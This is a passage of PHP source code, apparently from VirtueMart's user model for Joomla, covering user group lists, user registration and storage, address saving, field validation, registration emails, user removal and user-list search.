function get_group_children_tree( $var_1 = null, $var_2 = null, $var_3 = null, $var_4 = null ) { $_CB_database = &$this->getDbo(); if ( ! $var_4 ) { $var_4 = true; } if ( JVM_VERSION === 2 ) { $query = 'SELECT a.' . $_CB_database->NameQuote( 'id' ) . ' AS value' . ', a.' . $_CB_database->NameQuote( 'title' ) . ' AS text' . ', COUNT( DISTINCT b.' . $_CB_database->NameQuote( 'id' ) . ' ) AS level' . "\n FROM " . $_CB_database->NameQuote( '#__usergroups' ) . " AS a" . "\n LEFT JOIN " . $_CB_database->NameQuote( '#__usergroups' ) . " AS b" . ' ON a.' . $_CB_database->NameQuote( 'lft' ) . ' > b.' . $_CB_database->NameQuote( 'lft' ) . ' AND a.' . $_CB_database->NameQuote( 'rgt' ) . ' < b.' . $_CB_database->NameQuote( 'rgt' ) . "\n GROUP BY a." . $_CB_database->NameQuote( 'id' ) . "\n ORDER BY a." . $_CB_database->NameQuote( 'lft' ) . " ASC"; $_CB_database->setQuery( $query ); $groups = $_CB_database->loadObjectList(); $user_groups = array(); for ( $i = 0, $n = count( $groups ); $i < $n; $i++ ) { $groups[$i]->text = str_repeat( '- ', $groups[$i]->level ) . JText::_( $groups[$i]->text ); if ( $var_4 ) { $user_groups[$i] = JHtml::_( 'select.option', $groups[$i]->value, $groups[$i]->text ); } else { $user_groups[$i] = array( 'value' => $groups[$i]->value, 'text' => $groups[$i]->text ); } } $return = $user_groups; } else { if ( ! $var_3 ) { $var_3 = true; } $return = $this->_acl->get_group_children_tree( $var_1, $var_2, $var_3, $var_4 ); } return $return; } /** * Return a list with groups that can be set by the current user * * @return mixed Array with groups that can be set, or the groupname (string) if it cannot be changed. */ function getGroupList() { if(JVM_VERSION === 2) { //hm CB thing also not help // $_grpList = $this->get_groups_below_me(); // return $_grpList; /* if(!class_exists('UsersModelUser')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_users'.DS.'models'.DS.'user.php'); $jUserModel = new UsersModelUser(); $list = $jUserModel->getGroups(); $user = JFactory::getUser(); if ($user->authorise('core.edit', 'com_users') && $user->authorise('core.manage', 'com_users')) { $model = JModel::getInstance('Groups', 'UsersModel', array('ignore_request' => true)); return $model->getItems(); } else { return null; }*/ $user = JFactory::getUser(); $authGroups = JAccess::getGroupsByUser($user->id); // $authGroups = $user->getAuthorisedGroups(); // vmdebug('getGroupList j17',$authGroups); $db = $this->getDbo(); $where = implode($authGroups,'" OR `id` = "').'"'; $q = 'SELECT `id` as value,`title` as text FROM #__usergroups WHERE `id` = "'.$where; $db->setQuery($q); $list = $db->loadAssocList(); // foreach($list as $item){ // vmdebug('getGroupList $item ',$item); // } // vmdebug('getGroupList $q '.$list); return $list; } else { $_aclObject = JFactory::getACL(); if(empty($this->_data)) $this->getUser(); if (JVM_VERSION>1){ //TODO fix this latter. It's just an workarround to make it working on 1.6 $gids = $this->_data->JUser->get('groups'); return array_flip($gids); } $_usr = $_aclObject->get_object_id ('users', $this->_data->JUser->get('id'), 'ARO'); $_grp = $_aclObject->get_object_groups ($_usr, 'ARO'); $_grpName = strtolower ($_aclObject->get_group_name($_grp[0], 'ARO')); $_currentUser = JFactory::getUser(); $_my_usr = $_aclObject->get_object_id ('users', $_currentUser->get('id'), 'ARO'); $_my_grp = $_aclObject->get_object_groups ($_my_usr, 'ARO'); $_my_grpName = strtolower ($_aclObject->get_group_name($_my_grp[0], 'ARO')); // administrators can't change each other and frontend-only users can only see groupnames if (( $_grpName == $_my_grpName && $_my_grpName == 'administrator' ) || !$_aclObject->is_group_child_of($_my_grpName, 'Public Backend')) { return $_grpName; } else { $_grpList = $_aclObject->get_group_children_tree(null, 'USERS', false); $_remGroups = $_aclObject->get_group_children( $_my_grp[0], 'ARO', 'RECURSE' ); if (!$_remGroups) { $_remGroups = array(); } // Make sure privs higher than my own can't be granted if (in_array($_grp[0], $_remGroups)) { // nor can privs of users with higher privs be decreased. return $_grpName; } $_i = 0; $_j = count($_grpList); while ($_i < $_j) { if (in_array($_grpList[$_i]->value, $_remGroups)) { array_splice( $_grpList, $_i, 1 ); $_j = count($_grpList); } else { $_i++; } } return $_grpList; } } } /** * Bind the post data to the JUser object and the VM tables, then saves it * It is used to register new users * This function can also change already registered users, this is important when a registered user changes his email within the checkout. * * @author Max Milbers * @author Oscar van Eijk * @return boolean True is the save was successful, false otherwise. */ public function store(&$data,$checkToken = TRUE){ $message = ''; $user = ''; $newId = 0; if($checkToken){ JRequest::checkToken() or jexit( 'Invalid Token, while trying to save user' ); $mainframe = JFactory::getApplication() ; } if(empty($data)){ vmError('Developer notice, no data to store for user'); return false; } //To find out, if we have to register a new user, we take a look on the id of the usermodel object. //The constructor sets automatically the right id. $new = ($this->_id < 1); if(empty($this->_id)){ $user = new JUser(); //thealmega http://forum.virtuemart.net/index.php?topic=99755.msg393758#msg393758 } else { $user = JFactory::getUser($this->_id); } $gid = $user->get('gid'); // Save original gid // Preformat and control user datas by plugin JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $valid = true ; $dispatcher->trigger('plgVmOnBeforeUserfieldDataSave',array(&$valid,$this->_id,&$data,$user )); // $valid must be false if plugin detect an error if( $valid == false ) { return false; } // Before I used this "if($cart && !$new)" // This construction is necessary, because this function is used to register a new JUser, so we need all the JUser data in $data. // On the other hand this function is also used just for updating JUser data, like the email for the BT address. In this case the // name, username, password and so on is already stored in the JUser and dont need to be entered again. if(empty ($data['email'])){ $email = $user->get('email'); if(!empty($email)){ $data['email'] = $email; } } else { $data['email'] = JRequest::getString('email', '', 'post', 'email'); } $data['email'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['email']); //This is important, when a user changes his email address from the cart, //that means using view user layout edit_address (which is called from the cart) $user->set('email',$data['email']); if(empty ($data['name'])){ $name = $user->get('name'); if(!empty($name)){ $data['name'] = $name; } } else { $data['name'] = JRequest::getString('name', '', 'post', 'name'); } $data['name'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['name']); if(empty ($data['username'])){ $username = $user->get('username'); if(!empty($username)){ $data['username'] = $username; } else { $data['username'] = JRequest::getVar('username', '', 'post', 'username'); } } if(empty ($data['password'])){ $data['password'] = JRequest::getVar('password', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(empty ($data['password2'])){ $data['password2'] = JRequest::getVar('password2', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(!$new && !empty($data['password']) && empty($data['password2'])){ unset($data['password']); unset($data['password2']); } // Bind Joomla userdata if (!$user->bind($data)) { foreach($user->getErrors() as $error) { // vmError('user bind '.$error); vmError('user bind '.$error,JText::sprintf('COM_VIRTUEMART_USER_STORE_ERROR',$error)); } $message = 'Couldnt bind data to joomla user'; array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>false); } if($new){ // If user registration is not allowed, show 403 not authorized. // But it is possible for admins and storeadmins to save $usersConfig = JComponentHelper::getParams( 'com_users' ); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!Permissions::getInstance()->check("admin,storeadmin") && $usersConfig->get('allowUserRegistration') == '0') { VmConfig::loadJLang('com_virtuemart'); JError::raiseError( 403, JText::_('COM_VIRTUEMART_ACCESS_FORBIDDEN')); return; } $authorize = JFactory::getACL(); // Initialize new usertype setting $newUsertype = $usersConfig->get( 'new_usertype' ); if (!$newUsertype) { if ( JVM_VERSION===1){ $newUsertype = 'Registered'; } else { $newUsertype = 2; } } // Set some initial user values $user->set('usertype', $newUsertype); if ( JVM_VERSION===1){ $user->set('gid', $authorize->get_group_id( '', $newUsertype, 'ARO' )); } else { $user->groups[] = $newUsertype; } $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get( 'useractivation' ); $doUserActivation=false; if ( JVM_VERSION===1){ if ($useractivation == '1' ) { $doUserActivation=true; } } else { if ($useractivation == '1' or $useractivation == '2') { $doUserActivation=true; } } vmdebug('user',$useractivation , $doUserActivation); if ($doUserActivation ) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash( JUserHelper::genRandomPassword()) ); $user->set('block', '1'); //$user->set('lastvisitDate', '0000-00-00 00:00:00'); } } $option = JRequest::getCmd( 'option'); // If an exising superadmin gets a new group, make sure enough admins are left... if (!$new && $user->get('gid') != $gid && $gid == __SUPER_ADMIN_GID) { if ($this->getSuperAdminCount() <= 1) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN')); return false; } } if(isset($data['language'])){ $user->setParam('language',$data['language']); } // Save the JUser object if (!$user->save()) { vmError(JText::_( $user->getError()) , JText::_( $user->getError())); return false; } //vmdebug('my user, why logged in? ',$user); $newId = $user->get('id'); $data['virtuemart_user_id'] = $newId; //We need this in that case, because data is bound to table later $this->setUserId($newId); //Save the VM user stuff if(!$this->saveUserData($data) || !self::storeAddress($data)){ vmError('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA'); // vmError(Jtext::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA')); } else { if ($new) { $this->sendRegistrationEmail($user,$user->password_clear, $doUserActivation); if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_COMPLETE'); $user->set('activation', '' ); $user->set('block', '0'); $user->set('guest', '0'); } } else { vmInfo('COM_VIRTUEMART_USER_DATA_STORED'); } } //The extra check for isset vendor_name prevents storing of the vendor if there is no form (edit address cart) if((int)$data['user_is_vendor']==1 and isset($data['vendor_name'])){ vmdebug('vendor recognised '.$data['virtuemart_vendor_id']); if($this ->storeVendorData($data)){ if ($new) { if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE'); } } else { vmInfo('COM_VIRTUEMART_VENDOR_DATA_STORED'); } } } return array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>true); } /** * This function is NOT for anonymous. Anonymous just get the information directly sent by email. * This function saves the vm Userdata for registered JUsers. * TODO, setting of shoppergroup isnt done * * TODO No reason not to use this function for new users, but it requires a Joomla plugin * that gets fired by the onAfterStoreUser. I'll built that (OvE) * * Notice: * As long we do not have the silent registration, an anonymous does not get registered. It is enough to send the virtuemart_order_id * with the email. The order is saved with all information in an extra table, so there is * no need for a silent registration. We may think about if we actually need/want the feature silent registration * The information of anonymous is stored in the order table and has nothing todo with the usermodel! * * @author Max Milbers * @author Oscar van Eijk * return boolean */ public function saveUserData(&$data,$trigger=true){ if(empty($this->_id)){ echo 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'; vmError( 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'); return false; } $noError = true; $usertable = $this->getTable('vmusers'); $alreadyStoredUserData = $usertable->load($this->_id); $app = JFactory::getApplication(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")){ unset($data['virtuemart_vendor_id']); unset($data['user_is_vendor']); $data['user_is_vendor'] = $alreadyStoredUserData->user_is_vendor; $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } else { if(!isset($data['user_is_vendor']) and !empty($alreadyStoredUserData->user_is_vendor)){ $data['user_is_vendor'] = $alreadyStoredUserData->user_is_vendor; } if(!isset($data['virtuemart_vendor_id']) and !empty($alreadyStoredUserData->virtuemart_vendor_id)){ $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } } unset($data['customer_number']); if(empty($alreadyStoredUserData->customer_number)){ //if(!class_exists('vmUserPlugin')) require(JPATH_VM_SITE.DS.'helpers'.DS.'vmuserplugin.php'); ///if(!$returnValues){ $data['customer_number'] = strtoupper(substr($data['username'],0,2)).substr(md5($data['username']),0,9); //We set this data so that vmshopper plugin know if they should set the customer nummer $data['customer_number_bycore'] = 1; //} } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin,storeadmin")) { $data['customer_number'] = $alreadyStoredUserData->customer_number; } } if($app->isSite()){ unset($data['perms']); if(!empty($alreadyStoredUserData->perms)){ $data['perms'] = $alreadyStoredUserData->perms; } else { $data['perms'] = 'shopper'; } } else { } if($trigger){ JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserStore',array(&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } } $usertable -> bindChecknStore($data); $errors = $usertable->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('storing user adress data'.$error); $noError = false; } if(Permissions::getInstance()->check("admin,storeadmin")) { $shoppergroupmodel = VmModel::getModel('ShopperGroup'); if(empty($this->_defaultShopperGroup)){ $this->_defaultShopperGroup = $shoppergroupmodel->getDefault(0); } if(empty($data['virtuemart_shoppergroup_id']) or $data['virtuemart_shoppergroup_id']==$this->_defaultShopperGroup->virtuemart_shoppergroup_id){ $data['virtuemart_shoppergroup_id'] = array(); } // Bind the form fields to the table if(!empty($data['virtuemart_shoppergroup_id'])){ $shoppergroupData = array('virtuemart_user_id'=>$this->_id,'virtuemart_shoppergroup_id'=>$data['virtuemart_shoppergroup_id']); $user_shoppergroups_table = $this->getTable('vmuser_shoppergroups'); $shoppergroupData = $user_shoppergroups_table -> bindChecknStore($shoppergroupData); $errors = $user_shoppergroups_table->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('Set shoppergroup '.$error); $noError = false; } } } if($trigger){ $plg_datas = $dispatcher->trigger('plgVmAfterUserStore',array($data)); foreach($plg_datas as $plg_data){ $data = array_merge($plg_data); } } return $noError; } public function storeVendorData($data){ if($data['user_is_vendor']){ $vendorModel = VmModel::getModel('vendor'); //TODO Attention this is set now to virtuemart_vendor_id=1, because using a vendor with different id then 1 is not completly supported and can lead to bugs //So we disable the possibility to store vendors not with virtuemart_vendor_id = 1 if(Vmconfig::get('multix','none')=='none' ){ $data['virtuemart_vendor_id'] = 1; vmdebug('no multivendor, set virtuemart_vendor_id = 1'); } $vendorModel->setId($data['virtuemart_vendor_id']); if(empty($data['vendor_store_name']) and !empty($data['company'])) $data['vendor_store_name'] = $data['company']; if (!$vendorModel->store($data)) { vmError('storeVendorData '.$vendorModel->getError()); vmdebug('Error storing vendor',$vendorModel); return false; } } return true; } /** * Take a data array and save any address info found in the array. * * @author unknown, oscar, max milbers * @param array $data (Posted) user data * @param sting $_table Table name to write to, null (default) not to write to the database * @param boolean $_cart Attention, this was deleted, the address to cart is now done in the controller (True to write to the session (cart)) * @return boolean True if the save was successful, false otherwise. */ function storeAddress(&$data){ // if(empty($data['address_type'])){ // vmError('storeAddress no address_type given'); // return false; // } $user =JFactory::getUser(); $userinfo = $this->getTable('userinfos'); if($data['address_type'] == 'BT'){ if(isset($data['virtuemart_userinfo_id']) and $data['virtuemart_userinfo_id']!=0){ $data['virtuemart_userinfo_id'] = (int)$data['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($data['virtuemart_userinfo_id']); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt storeAddress'); return false; } } } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); //Todo multi-x, also vendors should be allowed to change the user address. if(!Permissions::getInstance()->check('admin')){ $userId = $user->id; } else { $userId = (int)$data['virtuemart_user_id']; } $q = 'SELECT `virtuemart_userinfo_id` FROM #__virtuemart_userinfos WHERE `virtuemart_user_id` = '.$userId.' AND `address_type` = "BT"'; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $data['virtuemart_userinfo_id'] = (int)$total[0]; } else { $data['virtuemart_userinfo_id'] = 0;//md5(uniqid($this->virtuemart_user_id)); } $userinfo->load($data['virtuemart_userinfo_id']); //unset($data['virtuemart_userinfo_id']); } if(!$this->validateUserData((array)$data,'BT')){ return false; } $userInfoData = self::_prepareUserFields($data, 'BT',$userinfo); //vmdebug('model user storeAddress',$data); if (!$userinfo->bindChecknStore($userInfoData)) { vmError('storeAddress '.$userinfo->getError()); } } // Check for fields with the the 'shipto_' prefix; that means a (new) shipto address. if($data['address_type'] == 'ST' or isset($data['shipto_address_type_name'])){ $dataST = array(); $_pattern = '/^shipto_/'; foreach ($data as $_k => $_v) { if (preg_match($_pattern, $_k)) { $_new = preg_replace($_pattern, '', $_k); $dataST[$_new] = $_v; } } $userinfo = $this->getTable('userinfos'); if(isset($dataST['virtuemart_userinfo_id']) and $dataST['virtuemart_userinfo_id']!=0){ $dataST['virtuemart_userinfo_id'] = (int)$dataST['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($dataST['virtuemart_userinfo_id']); $user = JFactory::getUser(); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt store address'); return false; } } } if(empty($userinfo->virtuemart_user_id)){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $dataST['virtuemart_user_id'] = $user->id; } else { if(isset($data['virtuemart_user_id'])){ $dataST['virtuemart_user_id'] = (int)$data['virtuemart_user_id']; } else { //Disadvantage is that admins should not change the ST address in the FE (what should never happen anyway.) $dataST['virtuemart_user_id'] = $user->id; } } } if(!$this->validateUserData((array)$dataST,'ST')){ return false; } $dataST['address_type'] = 'ST'; $userfielddata = self::_prepareUserFields($dataST, 'ST',$userinfo); if (!$userinfo->bindChecknStore($userfielddata)) { vmError($userinfo->getError()); } } return $userinfo->virtuemart_userinfo_id; } /** * Test userdata if valid * * @author Max Milbers * @param String if BT or ST * @param Object If given, an object with data address data that must be formatted to an array * @return redirectMsg, if there is a redirectMsg, the redirect should be executed after */ public function validateUserData($data,$type='BT') { if (!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'userfields.php'); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'BT') { $fieldtype = 'account'; }else { $fieldtype = 'shipment'; } $neededFields = $userFieldsModel->getUserFields( $fieldtype , array('required' => true, 'delimiters' => true, 'captcha' => true, 'system' => false) , array('delimiter_userinfo', 'name','username', 'password', 'password2', 'address_type_name', 'address_type', 'user_is_vendor', 'agreed')); $i = 0; $j = 0; $return = true; $required = 0; //$objSize = count($data); $missingFields = array(); foreach ($neededFields as $field) { //This is a special test for the virtuemart_state_id. There is the speciality that the virtuemart_state_id could be 0 but is valid. if ($field->name == 'virtuemart_state_id') { if (!class_exists('VirtueMartModelState')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'state.php'); if(!empty($data['virtuemart_country_id'])){ if(!isset($data['virtuemart_state_id'])) $data['virtuemart_state_id'] = 0; if (!$msg = VirtueMartModelState::testStateCountry($data['virtuemart_country_id'], $data['virtuemart_state_id'])) { //The state is invalid, so we set the state 0 here. $data['virtuemart_state_id'] = 0; vmdebug('State was not fitting to country, set to 0'); } else if(empty($data['virtuemart_state_id'])){ vmdebug('virtuemart_state_id is empty, but valid (country has not states, set to unrequired'); $field->required = false; } else { vmdebug('validateUserData my country '.$data['virtuemart_country_id'].' my state '.$data['virtuemart_state_id']); } } } if($field->required ){ $required++; if(empty($data[$field->name])){ $missingFields[] = JText::_($field->title); $i++; $return = false; } else if($data[$field->name] == $field->default){ $i++; } else { } } } if($i==$required) $return = -1; //vmdebug('my i '.$i.' my data size '.$required,$return,$data); if(!$return){ VmConfig::loadJLang('com_virtuemart_shoppers', true); foreach($missingFields as $fieldname){ vmInfo(JText::sprintf('COM_VIRTUEMART_MISSING_VALUE_FOR_FIELD',$fieldname) ); vmdebug(''); } } return $return; } function _prepareUserFields(&$data, $type,$userinfo = 0) { if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'ST') { $prepareUserFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default toggles ); } else { // BT // The user is not logged in (anonymous), so we need tome extra fields $prepareUserFields = $userFieldsModel->getUserFields( 'account' , array() // Default toggles , array('delimiter_userinfo', 'name', 'username', 'password', 'password2', 'user_is_vendor') // Skips ); } $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // Format the data foreach ($prepareUserFields as $fld) { if(empty($data[$fld->name])) $data[$fld->name] = ''; if(!$admin and $fld->readonly){ $fldName = $fld->name; unset($data[$fldName]); if($userinfo!==0){ if(property_exists($userinfo,$fldName)){ //vmdebug('property_exists userinfo->$fldName '.$fldName,$userinfo); $data[$fldName] = $userinfo->$fldName; } else { vmError('Your tables seem to be broken, you have fields in your form which have no corresponding field in the db'); } } } else { $data[$fld->name] = $userFieldsModel->prepareFieldDataSave($fld, $data); } } return $data; } function getBTuserinfo_id($id = 0){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); if($id == 0){ $id = $this->_id; //vmdebug('getBTuserinfo_id is '.$this->_id); } $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' .(int)$id .'" AND `address_type`="BT" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * * @author Max Milbers */ function getUserInfoInUserFields($layoutName, $type,$uid,$cart=true,$isVendor=false ){ // if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); // $userFieldsModel = new VirtuemartModelUserfields(); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFieldsFor( $layoutName, $type, $uid ); if($type=='ST'){ $preFix = 'shipto_'; } else { $preFix = ''; } /* * JUser or $this->_id is the logged user */ if(!empty($this->_data->JUser)){ $JUser = $this->_data->JUser; } else { $JUser = JUser::getInstance($this->_id); } $userFields = array(); if(!empty($uid)){ $data = $this->getTable('userinfos'); $data->load($uid); //vmdebug('$data',$data); if($data->virtuemart_user_id!==0 and !$isVendor){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if($data->virtuemart_user_id!=$this->_id){ vmError('Hacking attempt loading userinfo, you got logged'); echo 'Hacking attempt loading userinfo, you got logged'; return false; } } } if ($data->address_type != 'ST' ) { $BTuid = $uid; $data->name = $JUser->name; $data->email = $JUser->email; $data->username = $JUser->username; $data->address_type = 'BT'; } // vmdebug('getUserInfoInUserFields ',$data); } else { //New Address is filled here with the data of the cart (we are in the userview) if($cart){ if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $adType = $type.'address'; if(empty($cart->$adType)){ $data = $cart->$type; if(empty($data)) $data = array(); if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } } } $data = (object)$data; } else { if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } $data = (object)$data; } else { $data = null; } } } $userFields[$uid] = $userFieldsModel->getUserFieldsFilled( $prepareUserFields ,$data ,$preFix ); return $userFields; } /** * This should store the userdata given in userfields * * @author Max Milbers */ function storeUserDataByFields($data,$type, $toggles, $skips){ if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFields( $type, $toggles, $skips ); // Format the data foreach ($prepareUserFields as $_fld) { if(empty($data[$_fld->name])) $data[$_fld->name] = ''; $data[$_fld->name] = $userFieldsModel->prepareFieldDataSave($_fld,$data); } $this->store($data); return true; } /** * This uses the shopFunctionsF::renderAndSendVmMail function, which uses a controller and task to render the content * and sents it then. * * * @author Oscar van Eijk * @author Max Milbers * @author Christopher Roussel * @author Valérie Isaksen */ private function sendRegistrationEmail($user, $password, $doUserActivation){ if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vars = array('user' => $user); // Send registration confirmation mail $password = preg_replace('/[\x00-\x1F\x7F]/', '', $password); //Disallow control chars in the email $vars['password'] = $password; if ($doUserActivation) { jimport('joomla.user.helper'); if(JVM_VERSION === 2) { $com_users = 'com_users'; $activationLink = 'index.php?option='.$com_users.'&task=registration.activate&token='.$user->get('activation'); } else { $com_users = 'com_user'; $activationLink = 'index.php?option='.$com_users.'&task=activate&activation='.$user->get('activation'); } $vars['activationLink'] = $activationLink; } $vars['doVendor']=true; // public function renderMail ($viewName, $recipient, $vars=array(),$controllerName = null) shopFunctionsF::renderMail('user', $user->get('email'), $vars); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($userIds) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')) { $userInfo = $this->getTable('userinfos'); $vm_shoppergroup_xref = $this->getTable('vmuser_shoppergroups'); $vmusers = $this->getTable('vmusers'); $_status = true; foreach($userIds as $userId) { $_JUser = JUser::getInstance($userId); if ($this->getSuperAdminCount() <= 1) { // Prevent deletion of the only Super Admin //$_u = JUser::getInstance($userId); if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if(Permissions::getInstance()->check('storeadmin')) { if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if (!$userInfo->delete($userId)) { vmError($userInfo->getError()); return false; } if (!$vm_shoppergroup_xref->delete($userId)) { vmError($vm_shoppergroup_xref->getError()); // Signal but continue $_status = false; continue; } if (!$vmusers->delete($userId)) { vmError($vmusers->getError()); // Signal but continue $_status = false; continue; } if (!$_JUser->delete()) { vmError($_JUser->getError()); $_status = false; continue; } } } return $_status; } function removeAddress($virtuemart_userinfo_id){ $db = JFactory::getDBO(); if ( isset($virtuemart_userinfo_id) and $this->_id != 0 ) { //$userModel -> deleteAddressST(); $q = 'DELETE FROM #__virtuemart_userinfos WHERE virtuemart_user_id="'. $this->_id .'" AND virtuemart_userinfo_id="'. (int)$virtuemart_userinfo_id .'"'; $db->setQuery($q); if($db->query()){ vmInfo('Address has been successfully deleted.'); return true; } } return false; } /** * Retrieve a list of users from the database. * * @author Max Milbers * @return object List of user objects */ function getUserList() { //$select = ' * '; //$joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id'; $search = JRequest::getString('search', false); $tableToUse = JRequest::getString('searchTable','juser'); $where = ''; if ($search) { $where = ' WHERE '; $searchArray = array('ju.name','username','email','perms','usertype','shopper_group_name'); if($tableToUse!='juser'){ if(!class_exists('TableUserinfos'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'userinfos.php'); $db = JFactory::getDbo(); $userfieldTable = new TableUserinfos($db); $userfieldFields = get_object_vars($userfieldTable); $userFieldSearchArray = array('company','first_name','last_name'); //We must validate if the userfields actually exists, they could be removed $userFieldsValid = array(); foreach($userFieldSearchArray as $ufield){ if(array_key_exists($ufield,$userfieldFields)){ $userFieldsValid[] = $ufield; } } $searchArray = array_merge($userFieldsValid,$searchArray); } $search = str_replace(' ','%',$this->_db->getEscaped( $search, true )); foreach($searchArray as $field){ $where.= ' '.$field.' LIKE "%'.$search.'%" OR '; } $where = substr($where,0,-3); } $select = ' ju.id AS id , ju.name AS name , ju.username AS username , ju.email AS email , IFNULL(vmu.user_is_vendor,"0") AS is_vendor , IFNULL(sg.shopper_group_name, "") AS shopper_group_name '; if ($search) { if($tableToUse!='juser'){ $select .= ' , ui.name as uiname '; } foreach($searchArray as $ufield){ $select .= ' , '.$ufield; } } $joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id LEFT JOIN #__virtuemart_vmuser_shoppergroups AS vx ON ju.id = vx.virtuemart_user_id LEFT JOIN #__virtuemart_shoppergroups AS sg ON vx.virtuemart_shoppergroup_id = sg.virtuemart_shoppergroup_id '; if ($search and $tableToUse!='juser') { $joinedTables .= ' LEFT JOIN #__virtuemart_userinfos AS ui ON ui.virtuemart_user_id = vmu.virtuemart_user_id'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$where,' GROUP BY ju.id',$this->_getOrdering()); } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { if 